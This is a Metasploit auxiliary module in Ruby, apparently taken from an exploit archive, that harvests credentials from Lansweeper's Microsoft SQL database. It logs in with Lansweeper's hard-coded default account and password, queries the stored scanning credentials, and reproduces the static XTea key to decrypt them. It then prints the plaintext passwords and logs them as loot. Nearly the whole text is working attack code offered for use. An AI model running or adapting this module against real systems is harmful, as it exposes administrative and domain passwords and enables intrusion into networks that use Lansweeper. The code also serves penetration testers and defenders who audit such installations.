Share
## https://sploitus.com/exploit?id=PACKETSTORM:180668
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::MSSQL  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Lansweeper Credential Collector',  
'Description' => %q(  
Lansweeper stores the credentials it uses to scan the computers  
in its Microsoft SQL database. The passwords are XTea-encrypted with a  
68 character long key, in which the first 8 characters are stored with  
the password in the database and the other 60 is static. Lansweeper, by  
default, creates an MSSQL user "lansweeperuser" with the password is  
"mysecretpassword0*", and stores its data in a database called  
"lansweeperdb". This module will query the MSSQL database for the  
credentials.  
),  
'Author' =>  
[  
'sghctoma <tamas.szakaly[at]praudit.hu>', # Lansweeper RCE + Metasploit implementation  
'eq <balazs.bucsay[at]praudit.hu>', # Lansweeper RCE + discovering default credentials  
'calderpwn <calderon[at]websec.mx>' # Module for lansweeper (5.3.0.8)  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' =>  
{  
'USERNAME' => 'lansweeperuser',  
'PASSWORD' => 'mysecretpassword0*'  
},  
'References' =>  
[  
['URL', 'http://www.lansweeper.com'],  
['URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea']  
]))  
  
register_options([  
OptString.new('DATABASE', [true, 'The Lansweeper database', 'lansweeperdb'])  
])  
  
end  
  
def uint32(n)  
n & 0xffffffff  
end  
  
def xtea_decode(v, k)  
sum = 0xc6ef3720  
v_0 = uint32(v[0])  
v_1 = uint32(v[1])  
  
0.upto(0x1f) do  
v_1 -= uint32((uint32(v_0 << 4) ^ uint32(v_0 >> 5)) + v_0) ^ uint32(sum + k[uint32(sum >> 11) & 3])  
v_1 = uint32(v_1)  
sum -= 0x9e3779b9  
sum = uint32(sum)  
v_0 -= (uint32(uint32(v_1 << 4) ^ uint32(v_1 >> 5)) + v_1) ^ uint32(sum + k[sum & 3])  
v_0 = uint32(v_0)  
end  
  
v[0] = v_0  
v[1] = v_1  
end  
  
def xtea_decrypt(data, key)  
k = key.ljust(16).unpack('VVVV')  
num = 0  
bytes = Array.new  
  
0.step(data.length - 1, 8) do |i|  
v = data[i, 8].unpack('VV')  
xtea_decode(v, k)  
bytes[num] = v[0]  
num += 1  
bytes[num] = v[1]  
num += 1  
end  
  
bytes.pack('c*')  
end  
  
def lsw_generate_pass  
key = ''  
  
(0..60).each do |num|  
key << [((40 - num) + ((num * 2) + num)) - 1].pack('c')  
key << [(num + 15) + num].pack('c')  
end  
  
key  
end  
  
def lsw_decrypt(data)  
data = Rex::Text.decode_base64(data)  
  
first = data[0]  
pass = data[1, 8]  
actual_data = data[9, data.length - 9]  
  
decrypted = xtea_decrypt(actual_data, pass + lsw_generate_pass)  
  
if first == '1'  
decrypted = decrypted[0, decrypted.length - 2]  
end  
  
Rex::Text.to_ascii(decrypted, 'utf-16le')  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:host],  
port: opts[:port],  
protocol: 'tcp',  
workspace_id: myworkspace_id,  
service_name: opts[:creds_name]  
}  
  
credential_data = {  
username: opts[:user],  
private_type: :password,  
private_data: opts[:password],  
origin_type: :service,  
module_fullname: self.fullname  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def run  
unless mssql_login_datastore  
fail_with(Failure::NoAccess, 'Login failed. Check credentials.')  
end  
result = mssql_query("select Credname, Username, Password from #{datastore['DATABASE']}.dbo.tsysCredentials WHERE LEN(Password)>64", false)  
  
if result[:errors]  
print_error("SQL Query returned error: #{result[:errors].first}")  
return  
end  
  
result[:rows].each do |row|""  
pw = lsw_decrypt(row[2])  
  
print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}")  
  
report_cred(  
:host => mssql_client.peerhost,  
:port => mssql_client.peerport,  
:creds_name => row[0],  
:user => row[1],  
:password => pw  
)  
end  
disconnect  
end  
end